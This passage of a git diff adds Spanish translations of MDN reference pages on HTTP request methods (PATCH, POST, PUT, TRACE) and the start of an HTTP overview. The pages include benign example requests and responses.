+ <dd>El método <code>GET</code>  solicita una representación de un recurso específico. Las peticiones que usan el método <code>GET</code> sólo deben recuperar datos.</dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/HEAD">HEAD</a></code></dt>
+ <dd>El método <code>HEAD</code> pide una respuesta idéntica a la de una petición GET, pero sin el cuerpo de la respuesta.</dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/POST">POST</a></code></dt>
+ <dd>El método <code>POST</code> se utiliza para enviar una entidad a un recurso en específico, causando a menudo un cambio en el estado o efectos secundarios en el servidor.</dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/PUT">PUT</a></code></dt>
+ <dd>
+ <p>El modo <code>PUT</code> reemplaza todas las representaciones actuales del recurso de destino con la carga útil de la petición.</p>
+ </dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/DELETE">DELETE</a></code></dt>
+ <dd>El método <code>DELETE</code> borra un recurso en específico.</dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/CONNECT">CONNECT</a></code></dt>
+ <dd>
+ <p>El método <code>CONNECT</code> establece un túnel hacia el servidor identificado por el recurso.</p>
+ </dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/OPTIONS">OPTIONS</a></code></dt>
+ <dd>El método <code>OPTIONS</code> es utilizado para describir las opciones de comunicación para el recurso de destino.</dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/TRACE">TRACE</a></code></dt>
+ <dd>
+ <p>El método <code>TRACE</code>  realiza una prueba de bucle de retorno de mensaje a lo largo de la ruta al recurso de destino.</p>
+ </dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/PATCH">PATCH</a></code></dt>
+ <dd>El método <code>PATCH</code>  es utilizado para aplicar modificaciones parciales a un recurso.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Métodos de petición", "4")}}</td>
+   <td>Protocolo de Transferencia de HiperTexto (HTTP/1.1): Semánticas y Contenido</td>
+   <td>Especifica GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE.</td>
+  </tr>
+  <tr>
+   <td>{{RFC("5789", "Método Patch", "2")}}</td>
+   <td>Método PATCH para HTTP</td>
+   <td>Especifica PATCH.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada a partir de datos estructurados. Si desea contribuir con estos datos de compatibilidad, por favor escriba una solicitud de extracción a través de la siguiente dirección: <a href="https://github.com/mdn/browser-compat-data/blob/master/http/methods.json">https://github.com/mdn/browser-compat-data/blob/master/http/methods.json</a>.</p>
+
+<p>{{Compat("http/methods")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a></li>
+</ul>
diff --git a/files/es/web/http/methods/patch/index.html b/files/es/web/http/methods/patch/index.html
new file mode 100644
index 0000000000..c8a981cf82
--- /dev/null
+++ b/files/es/web/http/methods/patch/index.html
@@ -0,0 +1,98 @@
+---
+title: PATCH
+slug: Web/HTTP/Methods/PATCH
+tags:
+  - HTTP
+  - Método HTTP
+  - Referencia
+  - Request method
+translation_of: Web/HTTP/Methods/PATCH
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El <strong>método HTTP PATCH</strong> aplica modificaciones parciales a un recurso.</p>
+
+<p>El método HTTP PUT únicamente permite reemplazar completamente un documento. A diferencia de <code>PUT</code>, el método <code>PATCH</code> no es idempotente, esto quiere decir que peticiones identicas sucesivas <em>pueden </em>tener efectos diferentes. Sin embargo,  es posible emitir peticiones <code>PATCH</code> de tal forma que sean idempotentes.</p>
+
+<p><code>PATCH</code> (al igual que <code>POST</code>) <em>puede </em>provocar efectos secundarios a otros recursos.</p>
+
+<p>Para averiguar si un servidor soporta <code>PATCH</code>, el servidor puede notificar su compatibilidad al añadirlo a la lista en el header: {{HTTPHeader("Allow")}} o {{HTTPHeader("Access-Control-Allow-Methods")}} (para CORS).</p>
+
+<p>Otra indicación (implícita) de que las peticiones PATCH son permitidas, es la presencia del header: {{HTTPHeader("Accept-Patch")}}, el cual especifica los formatos de documento patch aceptados por el servidor. </p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Petición con cuerpo</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">Respuesta exitosa con cuerto</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Seguro")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotente")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitido en <a href="/en-US/docs/Web/Guide/HTML/Forms">formularios HTML</a></th>
+   <td>No</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">PATCH /file.txt HTTP/1.1
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Petición">Petición</h3>
+
+<pre class="line-numbers  language-html notranslate">PATCH /file.txt HTTP/1.1
+Host: www.example.com
+Content-Type: application/example
+If-Match: "e0023aa4e"
+Content-Length: 100
+
+[description of changes]</pre>
+
+<h3 id="Respuesta">Respuesta</h3>
+
+<p>Una respuesta exitosa es indicada con un código de respuesta {{HTTPStatus("204")}}, porque la respuesta no tiene mensaje en el body. (el cual tendría una respuesta con el código 200). Tenga en cuenta que también se pueden utilizar otros códigos.</p>
+
+<pre class="newpage notranslate">HTTP/1.1 204 No Content
+Content-Location: /file.txt
+ETag: "e0023aa4f"</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("5789", "PATCH")}}</td>
+   <td>PATCH Method for HTTP</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPStatus("204")}}</li>
+ <li>{{HTTPHeader("Allow")}}, {{HTTPHeader("Access-Control-Allow-Methods")}}</li>
+ <li>{{HTTPHeader("Accept-Patch")}} – specifies the patch document formats accepted by the server.</li>
+</ul>
diff --git a/files/es/web/http/methods/post/index.html b/files/es/web/http/methods/post/index.html
new file mode 100644
index 0000000000..e89357c05d
--- /dev/null
+++ b/files/es/web/http/methods/post/index.html
@@ -0,0 +1,126 @@
+---
+title: POST
+slug: Web/HTTP/Methods/POST
+tags:
+  - HTTP
+  - Metodo de pedido
+  - Referencia
+translation_of: Web/HTTP/Methods/POST
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>El <strong>método</strong> <strong>HTTP <code>POST</code> </strong> envía datos al servidor. El tipo del cuerpo de la solicitud es indicada por la cabecera  {{HTTPHeader("Content-Type")}}.</div>
+
+<div></div>
+
+<div>La diferencia entre <code>PUT</code> y {{HTTPMethod("POST")}} es que <code>PUT</code> es idempotente: llamarlo una o varias veces sucesivamente tiene el mismo efecto (no tiene efecto secundario // colateral), mientras que varios <code>POST</code> idénticos pueden tener efectos adicionales, como pasar una orden muchas veces.</div>
+
+<div></div>
+
+<p>Una solicitud <code>POST</code> es tipicamente enviada por un <a href="/en-US/docs/Web/Guide/HTML/Forms">formulario HTML</a> y resulta en un cambio en el servidor. En este caso, el tipo de contenido es seleccionado poniendo la cadena de texto adecuada en el atributo<dfn> {{htmlattrxref("enctype", "form")}} del elemento {{HTMLElement("form")}} o el atributo {{htmlattrxref("formenctype", "input")}}  de los elementos {{HTMLElement("input") }} o </dfn><dfn>{{HTMLElement("button")}} :</dfn></p>
+
+<ul>
+ <li><code>application/</code><dfn><code>x-www-form-urlencoded</code>: Los valores son codificados en tuplas llave-valor separadas por <code>'&amp;'</code>, con un <code>'='</code>  entre la llave y el valor. Caracteres no-Alfanumericos en ambas (llaves, valores) son {{glossary("percent encoded")}}: Esta es la razón por la cual este tipo no es adecuado para usarse con datos binarios (use <code>multipart/form-data</code> en su lugar)</dfn></li>
+ <li><code><dfn>multipart</dfn><dfn>/form-data</dfn></code><dfn>: Cada valor es enviado como un dato de bloque ("input de un formulario"), con un delimitador como separador definido por el usuario ("espacio entre campos"). Éstas llaves son colocadas en el <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Content-Disposition</span></font> , la cual es cómo está estructurada cada parte del HEADER en una petición HTTP</dfn></li>
+ <li><dfn><code>text/plain</code></dfn></li>
+</ul>
+
+<p>Cuando la solicitud <code>POST</code> es enviada por otro método distinto a un formulario HTML  — por ejemplo mediante una {{domxref("XMLHttpRequest")}} — el cuerpo puede aceptar cualquier tipo. Como se describe en la especificación HTTP 1.1, el método <code>POST</code> está diseñado para permitir un método uniforme que cubra las siguientes funciones:</p>
+
+<ul>
+ <li>Modificación de recursos existentes.</li>
+ <li>Publicar un mensaje en un tablón de anuncios, grupo de noticias, lista de correos, o grupos similares de artículos;</li>
+ <li>Agragar un nuevo usuario a través de un modal de suscripciones;</li>
+ <li>Proveer un conjunto de datos, como resultado del envío de un formulario, a un proceso data-handling.</li>
+ <li>Extender una base de datos a través de una operación de concatenación.</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Pedir como cuerpo</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">Respuesta válida como cuerpo</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Seguro")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotente")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>Sólo si incluye nueva información</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitido en <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms</a></th>
+   <td>Sí</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">POST /index.html
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Un formulario simple empleando el tipo de contenido por defecto <code>application/x-www-form-urlencoded</code>:</p>
+
+<pre class="line-numbers  language-html notranslate">POST / HTTP/1.1
+Host: foo.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 13
+
+say=Hi&amp;to=Mom</pre>
+
+<p>Un formulario usando el tipo de contenido <code>multipart/form-data</code>:</p>
+
+<pre class="notranslate">POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="field1"
+
+value1
+--boundary
+Content-Disposition: form-data; name="field2"; filename="example.txt"
+
+value2</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "POST", "4.3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Navegadores_compatibles">Navegadores compatibles</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.POST")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPHeader("Content-Disposition")}}</li>
+</ul>
+
+<div id="__kantu_mark__"></div>
diff --git a/files/es/web/http/methods/put/index.html b/files/es/web/http/methods/put/index.html
new file mode 100644
index 0000000000..9dc13c4b10
--- /dev/null
+++ b/files/es/web/http/methods/put/index.html
@@ -0,0 +1,100 @@
+---
+title: PUT
+slug: Web/HTTP/Methods/PUT
+tags:
+  - HTTP
+  - Método HTTP
+  - Petición
+translation_of: Web/HTTP/Methods/PUT
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La <strong>petición HTTP PUT</strong> crea un nuevo elemento o reemplaza una representación del elemento de destino con los datos de la petición.</p>
+
+<p>La diferencia entre el método <code>PUT</code> y el método {{HTTPMethod("POST")}} es que <code>PUT</code> es un método idempotente: llamarlo una o más veces de forma sucesiva tiene el mismo efecto (sin efectos secundarios), mientras que una sucesión de peticiones <code>POST</code> idénticas pueden tener efectos adicionales, como envíar una orden varias veces.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Petición con cuerpo</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">Respuesta (correcta) con cuerpo</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Seguro")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotente")}}</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitido en <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms</a></th>
+   <td>No</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">PUT /nuevo.html HTTP/1.1
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Petición">Petición</h3>
+
+<pre>PUT /nuevo.html HTTP/1.1
+Host: ejemplo.com
+Content-type: text/html
+Content-length: 16
+
+&lt;p&gt;Nuevo Archivo&lt;/p&gt;</pre>
+
+<h3 id="Respuestas">Respuestas</h3>
+
+<p>Si el elemento de destino no existe y la petición <code>PUT</code> lo crea de forma satisfactoria, entonces el servidor debe informar al usuario enviando una respuesta {{HTTPStatus("201")}} (<code>Created</code>) .</p>
+
+<pre class="newpage">HTTP/1.1 201 Created
+Content-Location: /nuevo.html</pre>
+
+<p>Si el elemento existe actualmente y es modificado de forma satisfactoria, entonces el servidor de origen debe enviar una respuesta {{HTTPStatus("200")}} (<code>OK</code>) o una respuesta {{HTTPStatus("204")}} (<code>No Content</code>) para indicar que la modificación del elemento se ha realizado sin problemas.</p>
+
+<pre>HTTP/1.1 204 No Content
+Content-Location: /existente.html
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "PUT", "4.3.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Navegadores_compatibles">Navegadores compatibles</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.PUT")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPStatus("201")}}</li>
+ <li>{{HTTPStatus("204")}}</li>
+</ul>
diff --git a/files/es/web/http/methods/trace/index.html b/files/es/web/http/methods/trace/index.html
new file mode 100644
index 0000000000..015d430a66
--- /dev/null
+++ b/files/es/web/http/methods/trace/index.html
@@ -0,0 +1,75 @@
+---
+title: TRACE
+slug: Web/HTTP/Methods/TRACE
+translation_of: Web/HTTP/Methods/TRACE
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El <strong>método HTTP <code>TRACE</code> </strong> efectua una prueba de bucle de mensaje por el camino al recurso objetivo proporcionando un útil mecanismo de debugging.</p>
+
+<p>El destino final de la petición debería devolver el mensaje recibido, excluyendo algunos de los campos descritos abajo, de vuelta al cliente como el mensaje body e una respuesta 200 (OK) con un {{httpheader("Content-Type")}} de  <code>message/http</code>. El destinatario final es o el servidor de origen o el priver servidor en recivir un {{httpheader("Max-Forwards")}} de valor 0 en la petición.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Request has body</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Successful response has body</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent")}}</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Allowed in HTML forms</th>
+   <td>No</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">TRACE /index.html
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "TRACE", "4.3.8")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Buscadores">Compatibilidad con Buscadores </h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.TRACE")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP methods</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/web/http/overview/index.html b/files/es/web/http/overview/index.html
new file mode 100644
index 0000000000..5c1b057346
--- /dev/null
+++ b/files/es/web/http/overview/index.html
@@ -0,0 +1,172 @@
+---
+title: Generalidades del protocolo HTTP
+slug: Web/HTTP/Overview
+tags:
+  - HTML
+  - HTTP
+  - Mecánica Web
+  - Visión general
+translation_of: Web/HTTP/Overview
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">HTTP, de sus siglas en inglés: "Hypertext Transfer Protocol", es el nombre de un protocolo el cual nos permite realizar una petición de datos y recursos, como pueden ser documentos {{glossary("HTML")}}. Es la base de cualquier intercambio de datos en la Web, y un protocolo de estructura cliente-servidor, esto quiere decir que una petición de datos es iniciada por el elemento que recibirá los datos (el cliente), normalmente un navegador Web. Así, una página web completa resulta de la unión de distintos sub-documentos recibidos, como, por ejemplo: un documento que especifique el estilo de maquetación de la página web ({{glossary("CSS")}}), el texto, las imágenes, vídeos, scripts, etc...    </p>
+
+<p><img alt="A Web document is the composition of different resources" src="https://mdn.mozillademos.org/files/13677/Fetching_a_page.png" style="height: 319px; width: 545px;"></p>
+
+<p>Clientes y servidores se comunican intercambiando mensajes individuales (en contraposición a las comunicaciones que utilizan flujos continuos de datos). Los mensajes que envía el cliente, normalmente un navegador Web, se llaman <em>peticiones</em>, y los mensajes enviados por el servidor se llaman <em>respuestas</em>.</p>
+
+<p><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&amp;%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;">Diseñado a principios de la década de 1990, {{glossary("HTTP")}} es un protocolo ampliable, que ha ido evolucionando con el tiempo. Es lo que se conoce como un protocolo de la capa de aplicación, y se transmite sobre el protocolo {{glossary("TCP")}}, o el protocolo encriptado {{glossary("TLS")}}, aunque teóricamente podría usarse cualquier otro protocolo fiable. Gracias a que es un protocolo capaz de ampliarse, se usa no solo para transmitir documentos de hipertexto ({{glossary("HTML")}}), si no que además, se usa para transmitir imágenes o vídeos, o enviar datos o contenido a los servidores, como en el caso de los formularios de datos. {{glossary("HTTP")}} puede incluso ser utilizado para transmitir partes de documentos, y actualizar páginas Web en el acto.</p>
+
+<h2 id="Arquitectura_de_los_sistemas_basados_en_HTTP">Arquitectura de los sistemas basados en  HTTP </h2>
+
+<p>{{glossary("HTTP")}} es un protocolo basado en el principio de cliente-servidor: las peticiones son enviadas por una entidad: el agente del usuario (o un proxy a petición de uno). La mayoría de las veces el agente del usuario (cliente) es un navegador Web, pero podría ser cualquier otro programa, como por ejemplo un programa-robot, que explore la Web, para adquirir datos de su estructura y contenido para uso de un buscador de Internet.</p>
+
+<p>Cada petición individual se envía a un servidor, el cuál la gestiona y responde. Entre cada <em>petición</em> y<em> respuesta</em>, hay varios intermediarios, normalmente denominados {{glossary("Proxy_server", "proxies")}}, los cuales realizan distintas funciones, como: gateways o {{glossary("Cache", "caches")}}. </p>
+
+<p><img alt="Client server chain" src="https://mdn.mozillademos.org/files/13679/Client-server-chain.png"></p>
+
+<p>En realidad, hay más elementos intermedios, entre un navegador y el servidor que gestiona su petición: hay otros tipos de dispositivos: como <em>routers</em>, <em>modems</em> ... Es gracias a la arquitectura en capas de la Web, que estos intermediarios, son transparentes al navegador y al servidor, ya que {{glossary("HTTP")}} se apoya en los protocolos de red y transporte. {{glossary("HTTP")}} es un protocolo de aplicación, y por tanto se apoya sobre los anteriores. Aunque para diagnosticar problemas en redes de comunicación, las capas inferiores son irrelevantes para la definición del protocolo {{glossary("HTTP")}} . </p>
+
+<h3 id="Cliente_el_agente_del_usuario">Cliente: el agente del usuario</h3>
+
+<p>El agente del usuario, es cualquier herramienta que actué en representación del usuario. Esta función es realizada en la mayor parte de los casos por un navegador Web. Hay excepciones, como el caso de programas específicamente usados por desarrolladores para desarrollar y depurar sus aplicaciones.</p>
+
+<p>El navegador es <strong>siempre</strong> el que inicia una comunicación (petición), y el servidor nunca la comienza (hay algunos mecanismos que permiten esto, pero no son muy habituales).  </p>
+
+<p>Para poder mostrar una página Web, el navegador envía una petición de documento {{glossary("HTML")}} al servidor. Entonces procesa este documento, y envía más peticiones para solicitar scripts, hojas de estilo ({{glossary("CSS")}}), y otros datos que necesite (normalmente vídeos y/o imágenes). El navegador, une todos estos documentos y datos, y compone el resultado final: la página Web. Los scripts, los ejecuta también el navegador, y también pueden generar más peticiones de datos en el tiempo, y el navegador, gestionará y actualizará la página Web en consecuencia. </p>
+
+<p>Una página Web, es un documento de hipertexto ({{glossary("HTTP")}}), luego habrá partes del texto en la página que puedan ser enlaces ({{glossary("link","links")}}) que pueden ser activados (normalmente al hacer click sobre ellos) para hacer una petición de una nueva página Web, permitiendo así dirigir su agente de usuario y navegar por la Web. El navegador, traduce esas direcciones en peticiones de HTTP, e interpretara y procesará las respuestas HTTP, para presentar al usuario la página Web que desea.</p>
+
+<h3 id="El_servidor_Web">El servidor Web</h3>
+
+<p>Al otro lado del canal de comunicación, está el servidor, el cual <em>"sirve"</em> los datos que ha pedido el cliente. Un servidor conceptualmente es una unica entidad, aunque puede estar formado por varios elementos, que se reparten la carga de peticiones, (load balancing), u otros programas, que gestionan otros computadores (como cache, bases de datos, servidores de correo electrónico, ...), y que generan parte o todo el documento que ha sido pedido. </p>
+
+<p>Un servidor no tiene que ser necesariamente un único equipo físico, aunque si que varios servidores pueden estar funcionando en un único computador. En el estándar HTTP/1.1 y {{HTTPHeader("Host")}} , pueden incluso compartir la misma dirección de IP.</p>
+
+<h3 id="Proxies">Proxies</h3>
+
+<p>Entre el cliente y el servidor, además existen distintos dispositivos que gestionan los mensajes HTTP. Dada la arquitectura en capas de la Web, la mayoria de estos dispositivos solamente gestionan estos mensajes en los niveles de protocolo inferiores: capa de transporte, capa de red o capa física, siendo así transparentes para la capa de comunicaciones de aplicación del HTTP, además esto aumenta el rendimiento de la comunicación. Aquellos dispositivos, que sí operan procesando la capa de aplicación son conocidos como proxies. Estos pueden ser transparentes, o no (modificando las peticiones que pasan por ellos), y realizan varias funciones: </p>
+
+<ul>
+ <li>caching (la caché puede ser pública o privada, como la caché de un navegador) </li>
+ <li>filtrado (como un anti-virus, control parental, ...)</li>
+ <li>balanceo de carga de peticiones (para permitir a varios servidores responder a la carga total de peticiones que reciben)</li>
+ <li>autentificación (para el control al acceso de recursos y datos)</li>
+ <li>registro de eventos (para tener un histórico de los eventos que se producen)</li>
+</ul>
+
+<h2 id="Características_clave_del_protocolo_HTTP">Características clave del protocolo HTTP</h2>
+
+<h3 id="HTTP_es_sencillo">HTTP es sencillo</h3>
+
+<p>Incluso con el incremento de complejidad, que se produjo en el desarrollo de la versión del protocolo HTTP/2, en la que se encapsularon los mensajes, HTTP esta pensado y desarrollado para ser leído y fácilmente interpretado por las personas, haciendo de esta manera más facil la depuración de errores, y reduciendo la curva de aprendizaje para las personan que empieza a trabajar con él.</p>
+
+<h3 id="HTTP_es_extensible">HTTP es extensible</h3>
+
+<p>Presentadas en la versión HTTP/1.0, las cabeceras de HTTP, han hecho que este protocolo sea fácil de ampliar y de experimentar con él. Funcionalidades nuevas pueden desarrollarse, sin más que un cliente y su servidor, comprendan la misma semántica sobre las cabeceras de HTTP.</p>
+
+<h3 id="HTTP_es_un_protocolo_con_sesiones_pero_sin_estados">HTTP es un protocolo con sesiones, pero sin estados</h3>
+
+<p>HTTP es un protocolo sin estado, es decir: no guarda ningún dato entre dos peticiones en la mísma sesión. Esto crea problemáticas, en caso de que los usuarios requieran interactuar con determinadas páginas Web de forma ordenada y coherente, por ejemplo, para el uso de "cestas de la compra" en páginas que utilizan en comercio electrónico. Pero, mientras HTTP ciertamente es un protocolo sin estado, el uso de HTTP cookies, si permite guardar datos con respecto a la sesión de comunicación. Usando la capacidad de ampliación del protocolo HTTP, las cookies permiten crear un contexto común para cada sesión de comunicación.</p>
+
+<h3 id="HTTP_y_conexiones">HTTP y conexiones</h3>
+
+<p>Una conexión se gestiona al nivel de la capa de trasporte, y por tanto queda fuera del alcance del protocolo HTTP. Aún con este factor, HTTP no necesita que el protocolo que lo sustenta mantenga una conexión continua entre los participantes en la comunicación, solamente necesita que sea un protocolo fiable o que no pierda mensajes (como mínimo, en todo caso, un protocolo que sea capaz de detectar que se ha pedido un mensaje y reporte un error). De los dos protocolos más comunes en Internet, TCP es fiable, mientras que UDP, no lo es. Por lo tanto HTTP, se apoya en el uso del protocolo TCP, que está orientado a conexión, aunque una conexión continua no es necesaria siempre. </p>
+
+<p>En la versión del protocolo HTTP/1.0, habría una conexión TCP por cada petición/respuesta intercambiada, presentando esto dos grandes inconvenientes: abrir y crear una conexión requiere varias rondas de mensajes y por lo tanto resultaba lento. Esto sería más eficiente si se mandaran varios mensajes.</p>
+
+<p>Para atenuar estos inconvenientes, la versión del protocolo HTTP/1.1 presentó el 'pipelining'  y las conexiones persistentes: el protocolo TCP que lo transmitía en la capa inferior se podía controlar parcialmente, mediante la cabecera 'Connection'. La versión del protocolo HTTP/2  fue más allá y usa multiplexación de mensajes sobre un única conexión, siendo así una comunicación más eficiente.</p>
+
+<p>Todavía hoy se sigue investigando y desarrollando para conseguir un protocolo de transporte más conveniente para el HTTP. Por ejemplo, Google está experimentado con <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a>, que se apoya en el protocolo UDP y presenta mejoras en la fiabilidad y eficiencia de la comunicación. </p>
+
+<h2 id="¿Qué_se_puede_controlar_con_HTTP">¿Qué se puede controlar con HTTP?</h2>
+
+<p>La característica del protocolo HTTP de ser ampliable, ha permitido que durante su desarrollo se hayan implementado más funciones de control y funcionalidad sobre la Web: caché o métodos de identificación o autentificación fueron temas que se abordaron pronto en su historia. Al contrario la relajación de la restricción de origen solo se ha abordado en los años de la década de 2010.</p>
+
+<p>Se presenta a continuación una lista con los elementos que se pueden controlar con el protocolo HTTP:</p>
+
+<ul>
+ <li><em><a href="/en-US/docs/Web/HTTP/Caching">Cache</a></em><br>
+  El como se almacenan los documentos en la caché, puede ser especificado por HTTP. El servidor puede indicar a los proxies y clientes, que quiere almacenar y durante cuanto tiempo. Aunque el cliente, también puede indicar a los proxies de caché intermedios que ignoren el documento almacenado.</li>
+ <li><em>Flexibilidad del requisito de origen</em><br>
+  Para prevenir invasiones de la privacidad de los usuarios, los navegadores Web, solamente permiten a páginas del mismo origen, compartir la información o datos. Esto es una complicación para el servidor, asi que mediante cabeceras HTTP, se puede flexibilizar o relajar esta división entre cliente y servidor</li>
+ <li><em>Autentificación</em><br>
+  Hay páginas Web, que pueden estar protegidas, de manera que solo los usuarios autorizados puedan acceder. HTTP provee de servicios básicos de autentificación, por ejemplo mediante el uso de cabeceras como:  {{HTTPHeader("WWW-Authenticate")}}, o estableciendo una sesión especifica mediante el uso de  <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a>. </li>
+ <li><em><a href="/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling">Proxies y  tunneling</a></em><br>
+  Servidores y/o clientes pueden estar en intranets y esconder así su verdadera dirección IP a otros. Las peticiones HTTP utilizan los proxies para acceder a ellos. Pero no todos los proxies son HTTP proxies. El protocolo SOCKS, por ejemplo, opera a un nivel más bajo. Otros protocolos, como el FTP, pueden ser servidos mediante estos proxies.</li>
+ <li><em>Sesiones</em><br>
